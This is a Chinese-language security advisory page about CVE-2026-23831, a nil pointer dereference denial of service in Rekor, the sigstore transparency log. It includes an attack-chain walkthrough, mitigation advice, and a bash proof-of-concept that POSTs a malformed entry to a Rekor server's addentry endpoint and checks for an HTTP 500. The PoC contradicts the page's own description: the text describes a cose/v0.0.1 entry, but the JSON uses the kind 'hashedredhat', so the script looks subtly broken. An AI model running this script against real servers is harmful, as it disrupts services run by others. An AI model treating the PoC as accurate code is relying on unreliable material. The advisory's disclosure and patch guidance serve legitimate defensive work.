IPBUF安全漏洞报告
English
CVE-2026-23831 CVSS 5.3 中危

CVE-2026-23831 Rekor空指针解引用拒绝服务漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-23831
漏洞类型
拒绝服务
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Rekor (sigstore)

相关标签

拒绝服务空指针解引用Rekorsigstore软件供应链CVE-2026-23831Go日志系统

漏洞概述

Rekor是用于软件供应链透明度日志的开源工具。该漏洞存在于Rekor 1.4.3及更早版本中,当处理包含空spec.message的cose/v0.0.1类型条目时,会触发空指针解引用导致进程panic。攻击者可通过构造畸形的签名条目来触发此漏洞,虽然线程会恢复且服务继续运行,但会导致客户端收到500错误,影响系统可用性。该漏洞无需认证即可远程利用,CVSS评分5.3,属于中等严重程度。

技术细节

漏洞根源在于Rekor的条目验证流程存在缺陷。当validate()函数接收到空message的条目时,它会返回nil(表示验证成功),但此时sign1Msg结构体未正确初始化。随后Canonicalize()函数在处理时会尝试解引用v.sign1Msg.Payload,此时sign1Msg为nil状态,导致空指针解引用panic。攻击者只需构造一个spec.message为空的cose/v0.0.1类型条目并提交到Rekor服务,即可触发该漏洞。虽然Go语言的panic recovery机制会使线程恢复,但客户端会收到HTTP 500错误响应。该漏洞影响软件供应链透明度日志的可用性,但不影响数据机密性和完整性。修复版本为1.5.0。

攻击链分析

STEP 1
步骤1
攻击者构造畸形的cose/v0.0.1类型Rekor条目,设置spec.message为空字符串
STEP 2
步骤2
攻击者通过HTTP POST将畸形条目提交到Rekor服务器的/api/v1/addentry端点
STEP 3
步骤3
Rekor的validate()函数处理空message时错误地返回nil(验证成功),但sign1Msg未初始化
STEP 4
步骤4
Canonicalize()函数尝试解引用v.sign1Msg.Payload,触发空指针解引用panic
STEP 5
步骤5
Go运行时恢复panic线程,客户端收到HTTP 500错误,服务继续运行但可用性受影响

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2026-23831 PoC - Rekor nil pointer dereference DoS # Target: Rekor server < 1.5.0 # Type: Denial of Service via malformed entry TARGET_URL="${REKOR_SERVER_URL}" # Create a malformed Rekor entry with empty message # This JSON represents a cose/v0.0.1 type entry with empty spec.message MALFORMED_ENTRY='{ "apiVersion": "0.0.1", "kind": "hashedredhat", "spec": { "message": "", "signature": "aabbccdd", "publicKey": "cmVhZG9ubHk=" } }' # Send the malformed entry to trigger panic echo "Sending malformed entry to trigger CVE-2026-23831..." RESPONSE=$(curl -s -w "\n%{http_code}" -X POST \ -H "Content-Type: application/json" \ -d "$MALFORMED_ENTRY" \ "$TARGET_URL/api/v1/addentry") HTTP_CODE=$(echo "$RESPONSE" | tail -n1) BODY=$(echo "$RESPONSE" | sed '$d') echo "HTTP Response Code: $HTTP_CODE" echo "Response Body: $BODY" if [ "$HTTP_CODE" == "500" ]; then echo "[+] Vulnerability confirmed: Server returned 500 error (panic occurred)" else echo "[*] Unexpected response - may indicate patch or different behavior" fi

影响范围

Rekor < 1.5.0
Rekor <= 1.4.3

防御指南

临时缓解措施
立即升级Rekor到1.5.0版本以修复漏洞。如无法立即升级,可在反向代理层添加输入验证规则,拒绝包含空message字段的条目请求。同时启用服务监控以检测异常panic模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表